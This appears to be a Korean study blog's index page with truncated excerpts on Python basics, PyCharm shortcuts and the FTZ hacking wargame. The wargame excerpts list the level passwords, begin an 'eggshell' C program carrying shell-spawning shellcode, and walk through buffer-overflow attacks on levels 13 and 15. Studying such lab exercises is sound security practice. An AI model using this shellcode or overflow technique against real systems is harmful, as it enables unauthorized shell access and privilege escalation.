일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |
- scroll
- ScrollView
- 계측
- LifeCycle
- 테스트
- Dialog
- TEST
- 앱
- Kotlin
- livedata
- textview
- DART
- binding
- 안드로이드
- android
- Button
- tabbar
- Navigation
- Flutter
- CustomScrollView
- Compose
- appbar
- drift
- data
- viewmodel
- activity
- textfield
- 앱바
- Coroutines
- intent
- Today
- Total
목록전체 글 (346)
Study Record
리스트의 특징 C의 배열과 비슷하며 리스트에 속하는 모든 항목(item)이 서로 다른 데이터 유형이 될 수 있다. 리스트(list)는 복합 데이터 유형에 가장 유용하다. 리스트 내의 항목은 쉼표(,)로 구분하고 ([]) 사각 괄호 안에 포함되어 있다. 리스트 내의 항목은 중복 될수 있다. EX) ['a' , 'a', 'b', 'c'] (리스트 인덱스/슬라이스) [] [:] 을 사용하여 리스트를 액세스 할 수 있다. index 가능하다. EX) list[0], list[1], list[2], list[-1] slice 가능하다. EX) list[2:], list[3:5] (리스트 연산) '+' 기호는 연결 연산자, '*' 기호는 반복 연산자 이다. (리스트 값 변경) 목록(list)에 들어 있는 값은 바꿀..
※ 순서형 자료형은 문자열 인덱싱/슬라이싱을 제공한다. ( str, list, tuple, range ) 문자열 인덱싱 → w = "HELLO" 일 경우, 문자열 슬라이싱 word = "Hello World!" print(word[0:3]) # "Hel" print(word[3:7]) # "lo W" print(word[0:-2]) # "Hello Worl" print(word[4:]) # "o World!" # word[0:3] : 0번째 문자부터 3번째 문자 전까지! 문자열 곱하기 a = "Hello" b = "Wow!" print(b*3) # "Wow!Wow!Wow!" print((a+b) * 2) # "HelloWow!HelloWow!" 문자열 포맷팅 a = "banana" print("I eat..
※ python3 기준 ☞ 여러줄 문자열( """ """ / ''' ''') a = """Hello, my name is kkk. Welcome""" ☞ 주석 # : 한줄의 경우 """ """ : 여러줄 가능 ☞ 한글 인코딩 방식 EUC-KR CP949 UTF-8 UTF-16 ☞ 다중 할당 가능 (권장하지는 않는다.) a = b = c = 1 # a = 1 , b = 1 . c = 1 a , b = 1 , 3 # a = 1 , b = 3 a , b = b , a # a 와 b 를 교체한다. ☞ help 함수 help(input) ☞ 출력 - print() 함수 사용법 a , b , c = 'happy' , 'python' , 'wow!'; print(a, b, 'is', c) # (,)은 공백 한 칸을 ..
Pycharm 단축키 1. 실행 Shift + F10 Ctrl + Shift + F10 2. 변수 이름 한꺼번에 바꾸기(Reference) ★ Shift + F6 3. 들여쓰기 ★ 4. 내어쓰기 ★ Shift + 5. 문서 확인하기 Ctrl + q 6. 현재 함수의 parameter 확인 Ctrl + p 7. 변수 추적 Alt + 7 8. 해당 문서 보기 보려는 곳에 Ctrl 키를 누른상태로 클릭 Ctrl + b
[패스워드] 단계 패스워드 level1 level1 level2 hacker or craker level3 can you fly? level4 suck my brain level5 what is your name? level6 what the hell level7 come together level8 break the world level9 apple level10 interesting to hack! level11 what!@#$? level12 it is like this level13 have no clue level14 what that nigga want? level15 guess what level16 about to cause mass level17 king poetic level18 why..
+ 참고 : 쉘 코드 ※ 에그 쉘(eggshell)? 쉘코드를 환경변수에 올릴 때 사용하는 프로그램이다. 에그 쉘 프로그램 # vi egg.c #include #include #include #define DEFAULT_ADDR_SIZE 8 #define DEFAULT_BUFFER_SIZE 512 #define DEFAULT_SUPERDK_SIZE 2048 #define NOP 0x90 // 배시쉘을 실행하는 쉘코드 char shellcode[] = "\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69" "\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"; int main(int argc, char **argv){ char..
15단계 → 16단계 ※ 15단계(level15) 패스워드 : "guess what" ☞ 기초개념 - 버퍼 오버플로우 https://laustudy.tistory.com/65 - 버퍼 오버플로우 ㉮ hint 파일을 보니 fgets 함수에서 buf 의 크기는 20byte인데 표준 입력으로 45byte까지 쓸 수 있게 되어있다. 따라서 이 함수를 이용해서 버퍼 오버플로우 공격을 실행할 수 있다. 코드의 흐름을 보아 check 라는 포인터 변수의 값을 0xdeadbeef 로 바꿀 수 있다면 다음 단계의 계정으로 쉘을 실행시킬 수 있을 것이다. ※ attackme 의 코드부분으로 추측된다. ㉯ 버퍼 오버플로우 공격을 하기 전, check(포인터 변수)와 buf 배열 사이가 얼만큼 떨어져 있는지 확인해본다. at..
13단계 → 14단계 ※ 13단계(level13) 패스워드 : "have no clue" ☞ 기초개념 - 버퍼 오버플로우, 쉘코드, 에그쉘, 메모리 보호 기법 https://laustudy.tistory.com/65 - 버퍼 오버플로우 https://laustudy.tistory.com/73 - 에그쉘 https://laustudy.tistory.com/70 - 쉘코드 https://laustudy.tistory.com/69 - 메모리 보호 기법 ㉮ hint 를 확인해본다. # cat hint hint 내용은 /home/level13/attackme 의 내부 소스 코드인 것 같다. 소스 코드에서 strcpy() 함수로 인자값으로 받은 argv[1] 값을 buf 배열에 저장하는 과정에서 글자 제한을 두고 ..